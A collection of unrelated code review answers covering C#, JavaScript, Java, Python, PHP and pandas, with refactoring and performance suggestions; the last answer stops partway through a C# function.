Compare Oracle Table with SQL Server Table and Update/Insert

One thing I would say is that you don't need to create those connection string variables, you are only using them once in this program and you have them nicely hidden where they should be, so you can just call them when you use them, which in this case is once.

so instead of this

var OracleConStr = ConfigurationManager.ConnectionStrings["OracleCon"].ConnectionString;
var SqlSvrConStr = ConfigurationManager.ConnectionStrings["SqlSvrCon"].ConnectionString;
using (OracleConnection OraCon = new OracleConnection(OracleConStr))
{
    var res = OraCon.Query<Employee>(Constants.SelectSql).ToList();

    res = res.GroupBy(x => x.EmpNumber.ToUpper()).Select(x => x.LastOrDefault()).ToList();
    using (SqlConnection Sqlcon = new SqlConnection(SqlSvrConStr))
    {

Do this instead

using (OracleConnection OraCon = new OracleConnection(ConfigurationManager.ConnectionStrings["OracleCon"].ConnectionString))
{
    var res = OraCon.Query<Employee>(Constants.SelectSql).ToList();

    res = res.GroupBy(x => x.EmpNumber.ToUpper()).Select(x => x.LastOrDefault()).ToList();
    using (SqlConnection Sqlcon = new SqlConnection(ConfigurationManager.ConnectionStrings["SqlSvrCon"].ConnectionString))
    {

You have already named them nicely so you know exactly what they are, meaning there is no reason to create variables for these, they are only used once.

and instead of a for loop here:

using (SqlConnection Sqlcon = new SqlConnection(SqlSvrConStr))
{
    Sqlcon.Open();
    for (int i = 0; i < res.Count; i++)
    {
        var item = Sqlcon.Query<Employee>(Constants.SelectEmpSql, new { EmpNumber= res[i].EmpNumber}).FirstOrDefault();
        if (item == null) // new record found
        {
            Sqlcon.Execute(Constants.InsertSql, res[i]);
        }
        else if (GetHashcode(res[i]) != GetHashcode(item)) // record updated
        {
            Sqlcon.Execute(Constants.UpdateSql, res[i]);
        }
    }
}

you could use a foreach loop

using (SqlConnection Sqlcon = new SqlConnection(SqlSvrConStr))
{
    Sqlcon.Open();

    foreach (var record in res)
    {
        var item = Sqlcon.Query<Employee>(Constants.SelectEmpSql, new { EmpNumber= record.EmpNumber}).FirstOrDefault();
        if (item == null) // new record found
        {
            Sqlcon.Execute(Constants.InsertSql, record);
        }
        else if (GetHashcode(record) != GetHashcode(item)) // record updated
        {
            Sqlcon.Execute(Constants.UpdateSql, record);
        }
    }
}

This is a little bit cleaner and is more straight to the point about what you are doing.  I would probably change some variable names around, but I will let you have that fun.


Out of N number of participants, draw out M winners

To pick m from a collection of size n, there are at least a couple of approaches:

Randomly shuffle an array of numbers (O(n)), then pick the top few (O(m)), resulting in an overall complexity of O(n + m). This is what you're doing currently, though it requires creating an array.

Repeatedly pick a random number from 0 to n. If a duplicate number is picked, pick again. Repeat m times. This has an overall complexity of around O(m * C), where C is the average number of picks before finding a non-duplicate. It'll range from close to 1 (when n is significantly larger than m) to infinity (when n is equal to m).

If m is close to n, the first approach, that you're doing currently, is quickest, because the other approach results in lots of collisions. If m is significantly smaller than n, the second approach is quickest, because the collision chance C is low. So, where's the break-even point? It'll depend on the engine running the code, but we can do some basic performance tests. I'll use Blindman67's code since it's pretty much exactly what I had in mind.
The below tests aren't 100% reliable, but they'll give you an OK idea of the time required:

// Array sort method:

// Wait for the iframe to load completely
setTimeout(() => {

  const NUM_PARTICIPANTS = 1e7;
  const NUM_DRAWN = 3e6;

  const t0 = performance.now();
  // Make the array 0-indexed rather than 1-indexed
  // to avoid unnecessary addition for every element
  const arr = Array.from({ length: NUM_PARTICIPANTS }, (_, i) => i);
  const lowerLimit = NUM_PARTICIPANTS - NUM_DRAWN;
  for (let i = arr.length - 1; i >= lowerLimit; --i) {
    const j = Math.floor(Math.random() * (i + 1));
    // Use a temp variable instead of the destructuring trick, it's probably a bit faster:
    const temp = arr[i];
    arr[i] = arr[j];
    arr[j] = temp;
  }
  // Then slice the array and calculate the results
  console.log('Time taken:', performance.now() - t0);
}, 1000);

// Picking random numbers until enough non-duplicates are found:

// Wait for the iframe to load completely
setTimeout(() => {

  const NUM_PARTICIPANTS = 1e7;
  const NUM_DRAWN = 3e6;

  const randomInt = range => Math.floor(Math.random() * range);
  const results = createWinners();

  function createWinners() {
       const t0 = performance.now();
       var draw = randomInt(NUM_PARTICIPANTS);
       const winners = new Set([draw]);
       while (winners.size < NUM_DRAWN) {
           do {
               draw = randomInt(NUM_PARTICIPANTS);
           } while (winners.has(draw));
           winners.add(draw);
       }
       // Then slice the array and calculate the results
       console.log('Time taken:', performance.now() - t0);
       return [...winners.values()];
  }
}, 1000);

I tried a few different combinations of NUM_PARTICIPANTS and NUM_DRAWN numbers, and the ratio used above, 10 to 3, seems to be pretty close to the break-even point, when the numbers are large, at least on V8. (If the code runs in a different environment, the ideal ratio to use will likely be different.) At that point, both methods look to take a pretty similar amount of runtime. If you don't have a large number of participants, either approach will work just fine, since it won't take any noticeable amount of time to run the script regardless. But if you have a large number, check the ratio of participants to winners, then choose the appropriate method depending on the ratio.
const createWinners = (numParticipants, numWinners) => (
  numWinners / numParticipants < 0.3
    ? createWinnersWithSetPicking(numParticipants, numWinners)
    : createWinnersWithArraySort(numParticipants, numWinners)
);

If you change the code, you might want to run a performance test again to see what works better, and you might want to adjust the magic ratio. Take into consideration the environment the code runs (or is most likely to run) on too - Node? Chrome? Firefox? Safari?
That said, if your numbers are large enough that performance is an issue, this should almost certainly be done on the server (in Node), not on the client, so as not to be unrunnable on low-end devices.


Random Winner Based on Percentage Weighting

The variables a, b, and c are always the same, so it makes sense to move them out of the loop. The same goes for sums of these variables, such as a + b + c, and b + c.

The conditions used to evaluate randomNumber can be simplified,
and it will be good to join them with else if to avoid unnecessarily repeated evaluations. Something like this:

double a = 0.4917127071823204; // ~49% to win
double b = 0.3922651933701657; // ~39% to win
double c = 0.1160220994475138; // ~11% to win
double min = 0;
double max = a + b +c;
double ab = a + b;

for (int i = 0; i < 100000; i++)
{
    double randomNumber = rand.NextDouble() * (max - min) + min;

    if (randomNumber <= a)
    {
        aWon += 1;
    }

    else if (randomNumber <= ab)
    {
        bWon += 1;
    }

    else
    {
        cWon += 1;
    }
}


Retrieve index of HTML element within parent

I only use ternary operator with simple expressions.

Try to put them in independent methods. Otherwise, use the simple and boring (but expressive) if statement.


Print inverse right triangle using recursion

Your code is pretty well written, however as always there are things we can change, and other things that are good that I would like to point out.

Positives:

You used a method. Dividing and conquering(although it seems small) is very important for shortening and simplifying code. It also prevents bugs.
Your code is easy to read

Things to fix:

It isn't good to give variables meaningless names. give them names like line rather than a, or num rather than n.
You indented 8 spaces after your printNumber method, rather than the usual suggested(and advised) 4 spaces.
Instead of doing return printNumber(n, a), simply call the method again, using printNumber(n, a). This makes the program just loop within that method.

If I were just to clean up your code and shorten it when applicable it would look like this:

public class JavaApplication2 {
    public static void main(String[] args) {
        Scanner scan = new Scanner(System.in);
        int highestNum = scan.nextInt();
        countDown(highestNum);
        scan.close();
    }

    static int countDown(int highNum) {
        int length = highNum;
        if(length != 0) {
            for(int i = length; i > 0; i--) {
                System.out.print(i);
            }
            System.out.println();
            highNum--;
            countDown(highNum);
        }
        return 0;
    }
}

Main changes to your code:

Made your main part the if, rather than the else. This removed the need for an else completely. It keeps looping until line is 0.
Simplified and shortened(a lot).
Changed names of method and variables.

There are many other simple ways to get the same output. Here's a very simple one using a for loop:

public class JavaApplication2 {
    public static void main(String[] args) {
        Scanner scan = new Scanner(System.in);
        int num = scan.nextInt();
        countDown(num);
        scan.close();
    }
    static int countDown(int num) {
        for(int i = num; i > 0; i--){
            System.out.print(i);
        }
        num--;
        System.out.println();
        if(num != 0) {
            countDown(num);
        }
        return 0;
    }
}

This program prints the countdown until it is 0, then it starts a new line, decreases num by one, and repeats.

Here's another way just using a double for loop and no recursion.

public class JavaApplication2 {
    public static void main(String[] args) {
        Scanner scan = new Scanner(System.in);
        int num = scan.nextInt();
        countDown(num);
        scan.close();
    }

    static void countDown(int num) {
        for(int height = num; height > 0; height--){
            for(int index = height; index > 0; index--) {
                System.out.print(index);
            }
            System.out.println();
        }
    }
}

This one prints index until it is 0 num times, decreasing every time.

The only reason I posted the other possibilities here is really just to prove no. there is no "most optimized" way of achieving this output. That's the beauty of programming, really. You can do the same thing 100,000 different ways. You can make this program using recursion, for-loops, and many other ways too, but they will all give the same output. The goal is to shoot for the cleanest, shortest, and most readable code. If you have any questions, please comment below.


Project Euler Problem 33 - digit canceling fractions

Firstly, you set start at the top of the script (which is OK). However, you reset start right before your final calulation:

# This will only time the execution of one statement!
start = timer()
ans = product_of_fractions[1] / product_of_fractions[0]
elapsed_time = (timer() - start) * 1000 # s --> ms

Remove the above start = timer() to get a more accurate timing. Also, I would recommend moving the first start declaration to just before the nested for loops. That was the start time is more spatially related to what you are actually timing.

Secondly, your a_common_element function's name is a little misleading. Currently, it insinuates it will return positively if the two lists have any number of common elements. Changing the function name to something like has_single_common_element gives a better description of what the function actually does.

Also, a_common_element can be simplified a tad. By using list comprehension we can combine the nested for loops into one comprehension:

def a_common_element(list_a, list_b):
    common_list = [value for value in list_a if value in list_b]

    if len(common_list) == 1:
        return common_list[0]
    return False

Your next section is actually quite interesting: you used a neat way to separate the digits. However, the downfall (I believe) to your method is the back-and-forth casting that it requires. I would, instead, recommend doing to calculations to get your digits:

for numerator in range(10, 100):
    for denomerator in range(numerator+1, 100):
        # Division will strip off the first digit
        # Modulus will strip off the 0th digit
        n_digits = sorted([int(numerator/10), numerator % 10])
        d_digits = sorted([int(denomerator/10), denomerator % 10])

NOTE: This recommendation is based on the project description you provided, that is all numbers will have exactly 2 digits. If you wanted to extend this to greater sets of numbers (3-digits, 4-digits, etc) I would keep your current implementation.

This next recommendation, like the previous, is based off of 2-digit numbers only.

Once you remove the common digit from the lists, you assign the remaining digits to variables; which is good. However, you then go check if the lists contain 0 instead of comparing the variables:

# I imagine this is what Python does in the backgroud when you say:
#    if 0 not in list
if n_rem != 0 and d_rem != 0:

Your next section is nice. Its simple and intuitive. If you wanted to make the code more Pythonic, you could instead do it this way:

product_of_fractions = [1, 1]
for frac in fractions_that_work:
    product_of_fractions = [i*j for i, j in zip(product_of_fractions, frac)]

If you wanted to go a bit more towards functional programming you could use this single line of code:

from functools import reduce   # Needed for Python 3, works in Python 2.6+
import operator

product_of_fractions = [reduce(operator.mul, value) for value in zip(*fractions_that_work)]

Even though it may be more complex (and thus slightly less readable), I prefer this last way because of its brevity.


Convert camelCase and PascalCase to Title Case

I like your solution quite a bit. It's clear, easy to read and I don't see any bugs.

There are many ways to condense the replace calls as you mention, but I think you're at a point where such changes can easily have a disproportionate impact on readability. That's good--it means the code is already pretty optimal from that standpoint.

For example, here's a one-shot replace using alternation, but its merit is debatable:

const splitCamelCase = s => s.replace(
    /^[a-z]|^([A-Z]+)(?=[A-Z]|$)|([A-Z])+(?=[A-Z]|$)|([A-Z])(?=[a-z]+)/g,
    m => " " + m.toUpperCase()
  ).trim()
;

The idea here is to enumerate each scenario, join the patterns with |s, and provide an arrow function to handle the addition of a space and a capital letter for each match.

With the two extremes in mind, I prefer a balanced approach such as:

const splitCamelCase = s =>
  s.replace(/([A-Z][a-z])/g, " $1")
   .replace(/\s*([A-Z]+)/g, " $1")
   .replace(/./, m => m.toUpperCase())
   .trim()
;

or perhaps

const splitCamelCase = s =>
  s.replace(/([A-Z][a-z]|[A-Z]+(?=[A-Z]|$))/g, " $1")
   .replace(/./, m => m.toUpperCase())
   .trim()
;

These should offer ideas as far as how far you want to go in making the succinctness versus readability tradeoff. But, failing the possibility of a shortcut I might have overlooked, keeping your code basically as-is seems like a fine option to me.

If it's performance you're after in reducing replace calls, there's no guarantee that fewer calls will translate into better performance. Under the hood, the regex engine may make more passes to compensate; you can benchmark and tweak using a debugger like regex101. For performance, it's likely best to avoid regex entirely and write a single-pass loop by hand.

Here's a test runner:

const splitCamelCase = s =>
  s.replace(/([A-Z][a-z]|[A-Z]+(?=[A-Z]|$))/g, " $1")
   .replace(/./, m => m.toUpperCase())
   .trim()
;

[
  "AAABbbbbCcDddEEFffGGHhIiJ",
  "AaBbCcDDEeFGgHHHH",
  "CDBoomBoxAAAABbbbCCC",
  "CDBoomBox",
  "camelCase",
  "camel",
  "Camel",
  "c",
  "C",
  "Aa",
  "AA",
  "aa",
  "AAA",
  "aB",
  "aBC",
  "aBCc",
  "",
].forEach(test =>
  console.log(
    splitCamelCaseOriginal(test) === splitCamelCase(test)
      ? `'${test}' -> '${splitCamelCase(test)}'`
      : "TEST FAILED"
  )
);

function splitCamelCaseOriginal(camelCaseString) {
    const result = camelCaseString
        .replace(/([A-Z][a-z])/g, " $1")
        .replace(/([A-Z]+)/g, " $1")
        .replace(/ +/g, " ")
        .replace(/^ +/g, "");

    return result.charAt(0).toUpperCase() + result.slice(1);
}


Structure and readability of basic calculator

Minor stuff:

I'm getting several compiler warnings. Capture the returned variable
    from scanf() to check if the user actually entered a number.

main.cpp:17: warning: ignoring return value of 'int scanf(const char*, ...)', declared with attribute warn_unused_result [-Wunused-result]
         scanf("%f", &numtwo);
                             ^

Your if-else statement needs to be fixed.

else {
numtwo = 0;
}


Spacing
First of all, yourcodeispackedverytightly, try using spaces a bit more. This is preferred:
timer = (System.currentTimeMillis() - time) / 1000;
int number = rand.nextInt((max - min) + 1) + min;

Static variables
private static long time;
private static long gameTime;

I see absolutely no need to have these as static. As it is right now, your code would get problematic if you instantiated one Game, waited for a while, and then created another game. Each Game should have it's own time and gameTime values.

Run and while (true)
public void run() {
    time=System.currentTimeMillis();
    while(true){
        timer=(System.currentTimeMillis()-time)/1000;
        if(timer>=gameTime){
            System.out.println("Oops! Time is up - try again.");
            break;
        }
    }
}

So here you have a repeating loop that does more or less absolutely nothing as fast as it can. As you already know how long you should wait, use Thread.sleep(delay) instead.

==true
while(clock1.isAlive()==true){

Using ==true is redundant, simply this is enough:
while (clock1.isAlive()) {

Scanner resource
Scanner sc = new Scanner(System.in);

This line should give you a compiler warning because you're not closing the scanner. Consider using a try-with-resources statement.
You only need to create the scanner once, when you start the program. Then you can close it safely at the end of your program.

if, if, if...
if(clock1.isAlive()==true&&input==number){
    System.out.println("You Win!");
    break;
}else if(clock1.isAlive()==true&&input<number){
    System.out.println("Higher!");
}else if(clock1.isAlive()==true&&input>number){
    System.out.println("Lower!");
}

Do you see any common things there? clock1.isAlive() is being checked on every if. Sure, it is possible that it is alive in the first check and then dies before the second if, but that is very unlikely and we're talking about microseconds of difference there. Do the clock1.isAlive check once, and then check compare with the number.
if (clock1.isAlive()) {
    if (input == number) {
        System.out.println("You Win!");
        break;
    } else if(input < number) {
        System.out.println("Higher!");
    } else if(input > number) {
        System.out.println("Lower!");
    }
}


Fun question,

there is really nothing much you can do about this, adding a thousand rows in an HTML table will take a few second and might lock your browser. Browser were not meant for that. Moore's law is on your side though, so at it'll be fine at some point. Consider implementing paging ( with say 100 items per page ), and you app will be much snappier.

Other than that;

rows =+ row; <- This drove me nuts, it is rows += row;, your code does not work
HTML in your JavaScript, say it aint so. You could use either true HTML 5 templates or write your own  as a template
You are retrieving Object.keys far too many times, I would suggest you get it ones for the first row and cache it
It is considered better practice to have all your var's in ` place, and chain them

This is my counter proposal:

var data = { "data": [{
        "id": 1,
        "name": "Sheffield University",
        "departments": ["Software", "Recruitment", "Consulting"],
        "locations": ["Sheffield", "Rotherham", "London", "New York"]
    }, {
        "id": 2,
        "name": "Sheffield College",
        "departments": "",
        "locations": ["Hillsborough", "City Centre", "Crystal Peaks"]
    }, {
        "id": 3,
        "name": "Sheffield High School",
        "departments": ["Medical", "Family", "Criminal"],
        "locations": ["Sheffield", "Rotherham"]
    }]};

addDataFromJson( data );

function addDataFromJson(json) {
    var template = $('#mytemplate').html(),
        data = json.data,
        keys = Object.keys( data[0] ),
        rows = '',
        cells;

    $('body').html('');

    for (i = 0; i < data.length; i++) // for each row
    {
        cells =  keys.map( function(key){ return data[i][key]; } ).join('	\n');
        rows += template.replace( 'DataFromJson' , cells );
    }

    $(rows.trim()).appendTo('body');
}

<template id="mytemplate" style="display:none">

  <input type="checkbox">

          Actions

  DataFromJson

</template>


Key-to-frequency mapping

Characters with an ASCII code that is a multiple of 20 (such as d) are mapped to 0 Hz, resulting in silence.  You wrote new Noise(c % 20 * 110) in two places, so fixing this problem will require changing both call sites.  To avoid such duplication, it would be better to have a Noise(char c) constructor that chains to the Noise(int freq) constructor.

Since the frequencies are spaced at uniform intervals of 110 Hz, the higher frequencies will sound similar in pitch.  From e to f is one octave; going from v to w is a half step.  That's fine, if that's the effect you want.

Your sampling frequency, 16 * 1024 Hz, is sufficiently high to provide good sound quality for the tones you want to generate.  However, it's still a magic number pulled from nowhere.  I suggest that you stick to conventional values, such as 44100 Hz (CD audio quality) or 48000 Hz (DVD audio quality).

Continuity

When you hold down a key, you'll hear something that sounds like machine gun fire, at 10 rounds per second.  It appears that your intention is to play the tone continuously (possibly simultaneously with other tones) until the key is released, in which case a smooth sinusoid would be preferable.

The main cause for the machine-gun effect is that you are writing sounds to the audio device without regard to what is already playing.  A secondary problem is that you write 214 samples, which is in general not an integral number of wave periods.

The way to play a waveform repeatedly is not to have your own thread pump the audio data to the output, but to use Clip.loop(Clip.LOOP_CONTINUOUSLY).

Your KeyListener handlers need adjusting as well.  I would use just keyPressed() and keyReleased(), not keyTyped().  In keyReleased(), the finally is superfluous.

Constructors

Constructors should just construct objects.  I don't expect that instantiating a Noise also starts playing it, since new Thread() doesn't imply starting the thread.  Similarly, instantiating a Boop shouldn't also cause the frame to be shown, since that's not how JFrames behave.  Automatically calling .show() in the constructor violates the substitutability principle for subclasses.

As per the documentation, Swing code should run on the Event Dispatch, not the main thread.

Noise should be a static inner class.  af should be a static field of Boop.

Suggested solution

import java.awt.TextArea;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.util.HashMap;
import javax.sound.sampled.AudioFormat;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.Clip;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.SourceDataLine;
import javax.swing.JFrame;
import javax.swing.SwingUtilities;

public class Boop extends JFrame implements KeyListener {
    private static class Noise {
        private int freq;
        private Clip clip;
        private static Clip currentClip;

        public Noise(char c) {
            this((c % 20 + 1) * 110);
        }

        public Noise(int freq) {
            this.freq = freq;
            double slice = 2 * Math.PI * freq / SAMPLE_RATE;
            byte[] waveform = new byte[(int)(SAMPLE_RATE / freq + 1)];
            for (int i = 0; i < waveform.length; i++) {
                waveform[i] = (byte)(127 * Math.sin(i * slice));
            }

            try {
                this.clip = AudioSystem.getClip();
                this.clip.open(af, waveform, 0, waveform.length);
            } catch (LineUnavailableException ex) {
                ex.printStackTrace();
            }
        }

        public void play(int msec) {
            if (this.clip != null) {
                if (Noise.currentClip != null) {
                    Noise.currentClip.drain();
                }
                Noise.currentClip = this.clip;
                this.clip.loop(msec * this.freq / 1000);
            }
        }

        public void start() {
            if (this.clip != null) {
                this.clip.loop(Clip.LOOP_CONTINUOUSLY);
            }
        }

        public void stop() {
            if (this.clip != null) {
                this.clip.stop();
            }
        }
    }

    private static final int SAMPLE_RATE = 44100;
    private static final AudioFormat af =
            new AudioFormat(SAMPLE_RATE, 8, 1, true, true);
    private HashMap<Character, Noise> noises = new HashMap<>();

    private final TextArea textArea;

    public Boop() {
        textArea = new TextArea(20, 80);
        textArea.addKeyListener(this);
        add(textArea);
        pack();
        setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }

    public void playText(String sz) {
        for (char c: sz.toCharArray()) {
            (new Noise(c)).play(100);
        }
    }

    @Override
    public void keyTyped(KeyEvent ke) {
    }

    @Override
    public void keyPressed(KeyEvent ke) {
        if (ke.getKeyCode() == KeyEvent.VK_ENTER) {
            playText(textArea.getText().toString());
        } else {
            char ch = ke.getKeyChar();
            if (!noises.containsKey(ch)) {
                Noise t = new Noise(ch);
                noises.put(ch, t);
                t.start();
            }
        }
    }

    @Override
    public void keyReleased(KeyEvent ke) {
        Noise n = noises.get(ke.getKeyChar());
        if (n != null) {
            n.stop();
            noises.remove(ke.getKeyChar());
        }
    }

    public static void main(String[] args) {
        SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                (new Boop()).setVisible(true);
            }
        });
    }
}


99 bottles of beer on the wall + EcmaScript 6

Style

There's a few inconsistent stylistic choices, mostly regarding whitespace.

 howMany=99                        // no spaces around "="
 let bottle = pluralizeBottles(i); // spaces around "="

Let

There's nothing wrong with the way you use let, but when talking about let you usually also talk about const since they're available since the same ES version.

You never mutate any of the variables you declare and initialize with let, which means they can all be changed to const.

// old
let bottle = pluralizeBottles(i);

// new
const bottle = pluralizeBottle(i);

This is also true for the for loop.
By using const, you ensure that you never do an assignment to it.

// old
for (let it of bottlesOfBeer()) {

// new
for (const it of bottlesOfBeer()) {

Helper functions

Do not put your helper functions inside the generator.
They will be created each time the generator is called -- there's no need for this.
Move them outside.
If you want to make them private, use modules (since we're talking about ES6), and just don't export them.

I'd also create more util functions.
For example, the following line is a bit too long and complex.
It's more complex than your pluralizeBottles function, so there's no reason why this shouldn't be extracted as well.

let toTake = i > 1 ? "one" : (i == 1 ? "it" : "no more");

Usage of generators

Your usage of generators is good.
This is the type of problem they're created for.


Extract string between first occurring set of parenthesis

I find my snippet below to be direct, concise, and readable (but I rarely have any trouble reading regex patterns).
The pattern literally matches the first occurring opening parenthesis, then captures one or more non-closing-parenthesis characters, then matches the required closing parenthesis.
A regex approach means a single function call solution and only one return in your custom function (which makes your code cleaner to read).
Other devs may prefer to avoid regex, but I think this is a perfect case for employing it.
One note of difference between my script and yours, is that if the closing parenthesis is missing in the input string with your script, your function will return false.  My script will always return a string.  (see here)
Code:
function findFirstStringInBracket(string $string): string
{
    return preg_match('~\(([^)]+)\)~', $string, $match) ? $match[1] : '';
}

Unless you are doing hundreds of thousands of iterations of this call, performance probably isn't an issue.  If it is a bottle neck, then you probably want to look at other ways to improve script performance.
(Demo with some test cases)
$strings = [
    'the(crow)bar',
    'foo()bar',
    'handlebar()',
    '()foofighters',
    '(foobar)',
    '()',
    'barfood',
    'barf(oo',
    'fooeybar)',
    ')foob(',
];

$result = [];
foreach ($strings as $string) {
    $result[$string] = preg_match('~\(([^)]+)\)~', $string, $match) ? $match[1] : '';
}
var_export($result);

Output:
array (
  'the(crow)bar' => 'crow',
  'foo()bar' => '',
  'handlebar()' => '',
  '()foofighters' => '',
  '(foobar)' => 'foobar',
  '()' => '',
  'barfood' => '',
  'barf(oo' => '',
  'fooeybar)' => '',
  ')foob(' => '',
)


Select value based on condition on dataframe

There is some overhead to numpy, and even more overhead to pandas. You won't be able to attain the performance of Method1 using pandas.

I'll comment on the methods one at a time:

Method1

There is no need to initialize x, y, and z.
You don't deal with the case where a is negative
For me, Method1 is twice as fast when I leave off the @numba decorator.

Method2

Don't name a dictionary dict! This is the name of the class. I've renamed your dict as param_dict below.
Again, there is no need to initialize x, y, and z.
You're running the two inequalities three times each.

Better would be to set valid_rows = (a<=df.amax) & (a>=df.amin) or similar.

def Method2a(a,b):
    valid_rows = (a <= df.amax) & (a >= df.amin)
    if not any(valid_rows):
        return 0.0
    x=df[valid_rows]['dfx'].values
    y=df[valid_rows]['dfz'].values
    z=df[valid_rows]['dfy'].values
    return min(max(x[0]*b,y[0]),z[0])

With a setup where Method2 takes 2.25 ms, this takes 1.35 ms.

Accessing a dataframe at a boolean array is slower than at an index.

It's much better to find the first True index of valid_rows first.

def Method2b(a,b):
    valid_rows = (a <= df.amax) & (a >= df.amin)
    if not any(valid_rows):
        return 0.0
    idx = np.where(valid_rows)[0][0]
    x=df['dfx'].iat[idx]
    y=df['dfz'].iat[idx]
    z=df['dfy'].iat[idx]
    return min(max(x*b,y),z)

This takes 531 µs

Drilling down into this, just the first line takes 472 µs (try it with the method truncated after the first line, not returning anything)! That's where we can improve.

We don't really need two sets of comparisons. There's enough information in df.amin together with the final value of df.amax:

def Method2c(a,b):
    idx = np.searchsorted(df.amin.values, a) - 1
    # special case if a == df.amin.iat[0]
    if idx < 0:
        if a == df.amin.iat[0]:
            idx = 0
        else:
            return 0.0
    # special case if a is bigger than all values in df.amin
    elif idx == df.shape[0] - 1:
        if a > df.amax.iat[idx]:
            return 0.0
    x=df['dfx'].iat[idx]
    y=df['dfz'].iat[idx]
    z=df['dfy'].iat[idx]
    return min(max(x*b,y),z)

This takes 38.6 µs. Note the idea is closer to your approach in Method1.

This is about as well as we can hope to do with pandas, as the bottle neck is now actually the three accesses:

    x=df['dfx'].iat[idx]
    y=df['dfz'].iat[idx]
    z=df['dfy'].iat[idx]

which actually takes 24.6 µs by itself!

Edit: Actually, using .values instead of .iat saves a good amount here, cutting the whole run time down to 19.3 µs for:

def Method2c_values(a,b):
    idx = np.searchsorted(df['amin'].values, a) - 1
    # special case if a == df['amin'].values[0]
    if idx < 0:
        if a == df['amin'].values[0]:
            idx = 0
        else:
            return 0.0
    # special case if a is bigger than all values in df.amin
    elif idx == df.shape[0] - 1:
        if a > df['amax'].values[idx]:
            return 0.0
    x=df['dfx'].values[idx]
    y=df['dfz'].values[idx]
    z=df['dfy'].values[idx]
    return min(max(x*b,y),z)

If we go back to the dictionary (which I'm calling param_dict) we can speed it up quite a bit:

def Method2d(a,b):
    idx = np.searchsorted(param_dict['amin'], a) - 1
    # special case if a == df.amin.iat[0]
    if idx < 0:
        if a == param_dict['amin'][0]:
            idx = 0
        else:
            return 0.0
    # special case if a is bigger than all values in df.amin
    elif idx == len(param_dict['amin']) - 1:
        if a > param_dict['amax'][idx]:
            return 0.0
    x=param_dict['dfx'][idx]
    y=param_dict['dfz'][idx]
    z=param_dict['dfy'][idx]
    return min(max(x*b,y),z)

This takes 6.91 µs. Now the bottleneck is back to the first line, which is taking 5.66 µs by itself.

We can rewrite this to do np.searchsorted ourselves, with the extra logic for the special cases worked in:

def Method2e(a,b):
    idx = 0
    for value in param_dict['amin']:
        if a < value:
            # if idx is 0, we're out of bounds
            if not idx:
                return 0.0
            break
        elif a == value:
            # if idx is 0, we need to adjust by 1
            if not idx:
                idx = 1
            break
        idx += 1
    else:
        # a is larger than every element of param_dict['amin']
        if a > param_dict['amax'][-1]:
            return 0.0
    idx -= 1
    x=param_dict['dfx'][idx]
    y=param_dict['dfz'][idx]
    z=param_dict['dfy'][idx]
    return min(max(x*b,y),z)

This is 823 ns. We could tweak mildly to put the idx == 0 part out of the main loop and other such things, but I'll leave it as is.

Method3

This method is fine, except that

def Method3(a,b):
    for index,row in df.iterrows():
        pass

takes 112 µs for me.


That will not speedup your code, but there are some code improvements:

follow naming conventions getAttribute -> get_attribute https://visualgit.readthedocs.io/en/latest/pages/naming_convention.html
You can create set using set literal my_set = {1, 2, 3}
You can compile tableReg = re.compile(r"^.+?(?<=[.])") once


In general case this always maps to O(n2). You may introduce some complex optimisations but this yields to long hardly readable code. Are you sure you will benefit from this?

I am a huge fan of CoffeeScript language and both CoffeeScript and TypeScript do a lot of hidden work so it is crucial to see the compiled JavaScript. Also, if your primary concearn is perfomance you will benefit greatly from plain JavaScript solution.

So here is my attempt on it. It is simular to Máté Safranka solution (which is quite nice and readable). It uses Array.prototype.reduce to remove all local variables in favor of function arguments:

function createObject(...pathes) {
  return pathes.reduce(function (obj, path) {
    path.split('.').reduce((obj, key) => obj[key] = obj[key] || {}, obj);
    return obj;
  }, {});
}

// Some tests
console.log(createObject('a.b.c.d', 'hello.world', 'test'));
console.log(createObject('a', 'a.b', 'a.b.c'));
console.log(createObject());
console.log(createObject('')); // note: not handled properly

The last one is not handled properly, but to me it looks more like an invalid input.

Tests

I've added provided solutions to jsperf test and compiled your TypeScript at Playground but for some reason it doesn't work as intended.

So, here is the benchmark. FYI check results in different browsers.


Sychronous wrapper around UIApplication.openURL:options:completion:

That code should work, but blocking the main thread is never a good idea. That's why the method was changed in the first place.

I suggest a deeper refactor of your code so that you use the new async method with completion handler as intended.


Generate subsets of k elements from a set of strings

Unused variables

At least one of your variables (abc) is never used.  This might be because you've changed the way the code works.  If you refactor your code, try to remember to cleanup at the same time / straight after.  It's a lot easier to do while the code is fresh in your mind and it prevents large amounts of technical debt building up over time.

margin of words

I found this prompt confusing (maybe it's just me).  I think a better prompt would be something like "Please enter the maximum number of words per group: ".  Try to be expressive and imagine that you're not going to be the one using your application.

Variable Names

Similarly, think about your variable names.  They should express what it is the variables actually represent.  Names like k, s, n and a tell me nothing about what the variable represents.  This makes the code harder to read because you have to keep referring back to determine the previous context.  Single letter variable names can be ok for short iteration variables where the context is obvious, but can you honestly say that this is meaningful in its current state:

for (int s = n - 1; s >= 0; s--)

Magic Numbers

You've got some magic numbers in your code.  I'm not totally against using numbers when the context makes it obvious what the numbers mean.  However, this isn't always the case with yours.  For example:

GenerateWords(0);

When I look at this line, it looks like the method is going to generate 0 words which doesn't make sense.  Looking at the function definition, the parameter is labelled as n, which again adds no context.

Console Output

At the moment your outputting straight to the console as you generate the combinations.  Generally, you want to try to separate user interaction from your algorithms.  This allows you to reuse the algorithms in different contexts, put different front ends on your code etc.

Static State

At the moment, your storing your state in static variables that are accessed from your recursive method.  This is OK in your example code, however if you were to put the method into a library, it would mean that you couldn't call it from two different threads to process different word lists.  If the state is passed in, instead, the methods become more flexible.

Minimise what your client needs to know

When you write recursive functions, you'll often need to pass extra parameters into the method in order to support the recursion and the termination conditions.  Clients shouldn't need to know this information (this give you more flexibility if you want to change the way the method works in the future).

Putting it together

Putting some of the above together, you might end up with code something like this:

static void Main()
{
    var combinations = GenerateWordCombinations(new string[] { "coffee", "ice-cream", "chocolate", "red" }, 2);

    combinations.ForEach(x => Console.WriteLine($"({x})"));
}

static public List<string> GenerateWordCombinations(string[] inputWords, int? maxWordsPerCombination = null)
{
    var combinations = new List<string> { "" };
    GenerateWordCombinations(inputWords, "", maxWordsPerCombination??inputWords.Length, combinations);
    return combinations;
}

static private void GenerateWordCombinations(IEnumerable<string> words, string prefix, int maxWordsPerCombination, IList<string> combinations)
{
